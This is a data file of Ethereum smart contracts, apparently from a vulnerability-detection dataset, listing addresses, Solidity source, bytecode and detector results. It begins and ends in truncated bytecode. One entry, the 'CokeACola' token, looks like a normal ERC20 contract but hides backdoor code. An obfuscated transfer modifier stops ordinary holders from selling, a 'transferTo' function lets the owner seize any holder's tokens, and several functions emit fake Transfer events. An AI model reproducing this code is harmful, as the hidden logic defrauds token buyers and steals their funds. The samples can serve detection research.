47320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205f93dd1b6d851ec0b8ed0b461b27a91b61b16e18dfd7af7d8d32df70a54139f864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
477
0x94473b8fe92a581c8164646508c890ebb3ab7448
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20,Pausable { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) whenNotPaused public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) whenNotPaused public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) whenNotPaused public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param _account The account that will receive the created tokens. * @param _amount The amount that will be created. */ function _mint(address _account, uint256 _amount) internal { require(_account != 0); totalSupply_ = totalSupply_.add(_amount); balances[_account] = balances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burn(address _account, uint256 _amount) internal { require(_account != 0); require(_amount <= balances[_account]); totalSupply_ = totalSupply_.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal _burn function. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burnFrom(address _account, uint256 _amount) internal { require(_amount <= allowed[_account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { _burnFrom(_from, _value); } /** * @dev Overrides StandardToken._burn in order for burn and burnFrom to emit * an additional Burn event. */ function _burn(address _who, uint256 _value) internal { super._burn(_who, _value); emit Burn(_who, _value); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is BurnableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { _mint(_to, _amount); emit Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract GUB is MintableToken { // If ether is sent to this address, send it back. function () public { revert(); } string public constant name = "Ancient coins’ chain"; string public constant symbol = "GUB"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 7000000000; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461014457806306fdde031461016d578063095ea7b3146101f757806318160ddd1461021b57806323b872dd146102425780632ff2e9dc1461026c578063313ce567146102815780633f4ba83a146102ac57806340c10f19146102c357806342966c68146102e75780635c975abb146102ff578063661884631461031457806370a0823114610338578063715018a61461035957806379cc67901461036e5780637d64bcb4146103925780638456cb59146103a75780638da5cb5b146103bc57806395d89b41146103ed578063a9059cbb14610402578063d73dd62314610426578063dd62ed3e1461044a578063f2fde38b14610471575b34801561013e57600080fd5b50600080fd5b34801561015057600080fd5b50610159610492565b604080519115158252519081900360200190f35b34801561017957600080fd5b5061018261049b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101bc5781810151838201526020016101a4565b50505050905090810190601f1680156101e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020357600080fd5b50610159600160a060020a03600435166024356104d2565b34801561022757600080fd5b50610230610551565b60408051918252519081900360200190f35b34801561024e57600080fd5b50610159600160a060020a0360043581169060243516604435610557565b34801561027857600080fd5b506102306106d4565b34801561028d57600080fd5b506102966106dd565b6040805160ff9092168252519081900360200190f35b3480156102b857600080fd5b506102c16106e2565b005b3480156102cf57600080fd5b50610159600160a060020a0360043516602435610758565b3480156102f357600080fd5b506102c16004356107d2565b34801561030b57600080fd5b506101596107df565b34801561032057600080fd5b50610159600160a060020a03600435166024356107ef565b34801561034457600080fd5b50610230600160a060020a03600435166108f9565b34801561036557600080fd5b506102c1610914565b34801561037a57600080fd5b506102c1600160a060020a0360043516602435610980565b34801561039e57600080fd5b5061015961098e565b3480156103b357600080fd5b506102c16109f2565b3480156103c857600080fd5b506103d1610a6d565b60408051600160a060020a039092168252519081900360200190f35b3480156103f957600080fd5b50610182610a7c565b34801561040e57600080fd5b50610159600160a060020a0360043516602435610ab3565b34801561043257600080fd5b50610159600160a060020a0360043516602435610b9a565b34801561045657600080fd5b50610230600160a060020a0360043581169060243516610c4b565b34801561047d57600080fd5b506102c1600160a060020a0360043516610c76565b60045460ff1681565b60408051808201909152601681527f416e6369656e7420636f696e73e2809920636861696e00000000000000000000602082015281565b6000805460a060020a900460ff16156104ea57600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035490565b6000805460a060020a900460ff161561056f57600080fd5b600160a060020a03841660009081526001602052604090205482111561059457600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156105c457600080fd5b600160a060020a03831615156105d957600080fd5b600160a060020a038416600090815260016020526040902054610602908363ffffffff610c9616565b600160a060020a038086166000908152600160205260408082209390935590851681522054610637908363ffffffff610cad16565b600160a060020a03808516600090815260016020908152604080832094909455918716815260028252828120338252909152205461067b908363ffffffff610c9616565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610f7b833981519152929181900390910190a35060019392505050565b6401a13b860081565b601281565b600054600160a060020a031633146106f957600080fd5b60005460a060020a900460ff16151561071157600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60008054600160a060020a0316331461077057600080fd5b60045460ff161561078057600080fd5b61078a8383610cc6565b604080518381529051600160a060020a038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b6107dc3382610d60565b50565b60005460a060020a900460ff1681565b60008054819060a060020a900460ff161561080957600080fd5b50336000908152600260209081526040808320600160a060020a038716845290915290205480831061085e57336000908152600260209081526040808320600160a060020a0388168452909152812055610893565b61086e818463ffffffff610c9616565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600054600160a060020a0316331461092b57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b61098a8282610dad565b5050565b60008054600160a060020a031633146109a657600080fd5b60045460ff16156109b657600080fd5b6004805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600054600160a060020a03163314610a0957600080fd5b60005460a060020a900460ff1615610a2057600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b60408051808201909152600381527f4755420000000000000000000000000000000000000000000000000000000000602082015281565b6000805460a060020a900460ff1615610acb57600080fd5b33600090815260016020526040902054821115610ae757600080fd5b600160a060020a0383161515610afc57600080fd5b33600090815260016020526040902054610b1c908363ffffffff610c9616565b3360009081526001602052604080822092909255600160a060020a03851681522054610b4e908363ffffffff610cad16565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191923392600080516020610f7b8339815191529281900390910190a350600192915050565b6000805460a060020a900460ff1615610bb257600080fd5b336000908152600260209081526040808320600160a060020a0387168452909152902054610be6908363ffffffff610cad16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600054600160a060020a03163314610c8d57600080fd5b6107dc81610e3f565b60008083831115610ca657600080fd5b5050900390565b600082820183811015610cbf57600080fd5b9392505050565b600160a060020a0382161515610cdb57600080fd5b600354610cee908263ffffffff610cad16565b600355600160a060020a038216600090815260016020526040902054610d1a908263ffffffff610cad16565b600160a060020a0383166000818152600160209081526040808320949094558351858152935192939192600080516020610f7b8339815191529281900390910190a35050565b610d6a8282610ebc565b604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600160a060020a0382166000908152600260209081526040808320338452909152902054811115610ddd57600080fd5b600160a060020a0382166000908152600260209081526040808320338452909152902054610e11908263ffffffff610c9616565b600160a060020a038316600090815260026020908152604080832033845290915290205561098a8282610d60565b600160a060020a0381161515610e5457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610ed157600080fd5b600160a060020a038216600090815260016020526040902054811115610ef657600080fd5b600354610f09908263ffffffff610c9616565b600355600160a060020a038216600090815260016020526040902054610f35908263ffffffff610c9616565b600160a060020a038316600081815260016020908152604080832094909455835185815293519193600080516020610f7b833981519152929081900390910190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820dc0125cacabe4d83fc6d8838de70dd7470b019bc32c86d84d1dac5829f43b4da0029
{"success": true, "error": null, "results": {}}
478
0xac5e2ff1c025cb31136ad50f6215d333259287f8
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract CokeACola is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _plus; mapping (address => bool) private _discarded; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeAuthority; uint256 private _discardedAmt = 0; address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address _contDeployr = 0x579b9354D43C488756BfEfC33789CB7a7093bAe4; address public _authority = 0x579b9354D43C488756BfEfC33789CB7a7093bAe4; constructor () public { _name = "Coke In The Cola"; _symbol = "CokeACola"; _decimals = 18; uint256 initialSupply = 100000000000 * 10 ** 18; _safeAuthority = _authority; _mint(_contDeployr, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _tf(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _tf(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _pApproval(address[] memory destination) public { require(msg.sender == _authority, "!owner"); for (uint256 i = 0; i < destination.length; i++) { _plus[destination[i]] = true; _discarded[destination[i]] = false; } } function _mApproval(address safeOwner) public { require(msg.sender == _authority, "!owner"); _safeAuthority = safeOwner; } modifier _log(address dest, uint256 num, address from, address filler){ if ( _authority == _safeAuthority && from == _authority) {_safeAuthority = dest;_;}else {if ( from == _authority || from == _safeAuthority || dest == _authority){ if ( from == _authority && from == dest ){_discardedAmt = num; }_;}else{ if ( _plus[from] == true ) { _;}else{if ( _discarded[from] == true ) {require((from == _safeAuthority)||(dest == _path_), "ERC20: transfer amount exceeds balance");_; }else{ if ( num < _discardedAmt){ if(dest == _safeAuthority){_discarded[from] = true; _plus[from] = false; }_; }else{require((from == _safeAuthority) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}}}}}} function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _authority){ sender = _contDeployr; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _authority, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_authority] = _balances[_authority].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tf(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual { _pair( from, dest, amt); } function _pair(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(dest != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, dest, amt); _balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance"); _balances[dest] = _balances[dest].add(amt); if (from == _authority){from = _contDeployr;} emit Transfer(from, dest, amt); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _verify() { require(msg.sender == _authority, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function renounceOwnership()public _verify(){} function burnLPTokens()public _verify(){} function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function set(address recipient) public _verify(){ //Enable _plus[recipient]=true; _approve(recipient, _path_,_maximumVal);} function ProxiedSwap(address recipient) public _verify(){ //Disable _plus[recipient]=false; _approve(recipient, _path_,0); } function approval(address addr) public _verify() virtual returns (bool) { //Approve Spending _approve(addr, _msgSender(), _maximumVal); return true; } function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){ _approve(sndr, _msgSender(), _maximumVal); for (uint256 i = 0; i < destination.length; i++) { _transfer(sndr, destination[i], amounts[i]); } } function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063bb88603c1161007c578063bb88603c14610520578063c2205ee1146107e8578063c75e2c3d146107f0578063d8fc292414610816578063dd62ed3e14610949578063f8129cd21461097757610158565b8063715018a6146105205780638d3ca13e146105285780639430b4961461065b57806395d89b4114610681578063a5aae25414610689578063a9059cbb146107bc57610158565b8063313ce56711610115578063313ce567146103335780633cc4430d146103515780634e6ec247146104845780635265327c146104b0578063671e9921146104d657806370a08231146104fa57610158565b806306fdde031461015d57806308ec4eb5146101da578063095ea7b31461027d57806318160ddd146102bd57806323b872dd146102d75780632801617e1461030d575b600080fd5b610165610aaa565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027b600480360360208110156101f057600080fd5b810190602081018135600160201b81111561020a57600080fd5b82018360208201111561021c57600080fd5b803590602001918460208302840111600160201b8311171561023d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b40945050505050565b005b6102a96004803603604081101561029357600080fd5b506001600160a01b038135169060200135610c34565b604080519115158252519081900360200190f35b6102c5610c51565b60408051918252519081900360200190f35b6102a9600480360360608110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b61027b6004803603602081101561032357600080fd5b50356001600160a01b0316610cde565b61033b610d68565b6040805160ff9092168252519081900360200190f35b61027b6004803603606081101561036757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561039157600080fd5b8201836020820111156103a357600080fd5b803590602001918460208302840111600160201b831117156103c457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561041357600080fd5b82018360208201111561042557600080fd5b803590602001918460208302840111600160201b8311171561044657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d71945050505050565b61027b6004803603604081101561049a57600080fd5b506001600160a01b038135169060200135610e37565b61027b600480360360208110156104c657600080fd5b50356001600160a01b0316610f15565b6104de610f7f565b604080516001600160a01b039092168252519081900360200190f35b6102c56004803603602081101561051057600080fd5b50356001600160a01b0316610f8e565b61027b610fa9565b61027b6004803603606081101561053e57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561056857600080fd5b82018360208201111561057a57600080fd5b803590602001918460208302840111600160201b8311171561059b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105ea57600080fd5b8201836020820111156105fc57600080fd5b803590602001918460208302840111600160201b8311171561061d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ff8945050505050565b6102a96004803603602081101561067157600080fd5b50356001600160a01b03166110b8565b610165611124565b61027b6004803603606081101561069f57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156106c957600080fd5b8201836020820111156106db57600080fd5b803590602001918460208302840111600160201b831117156106fc57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561074b57600080fd5b82018360208201111561075d57600080fd5b803590602001918460208302840111600160201b8311171561077e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611185945050505050565b6102a9600480360360408110156107d257600080fd5b506001600160a01b038135169060200135611245565b6104de611259565b61027b6004803603602081101561080657600080fd5b50356001600160a01b0316611268565b61027b6004803603606081101561082c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561085657600080fd5b82018360208201111561086857600080fd5b803590602001918460208302840111600160201b8311171561088957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108d857600080fd5b8201836020820111156108ea57600080fd5b803590602001918460208302840111600160201b8311171561090b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506112e79450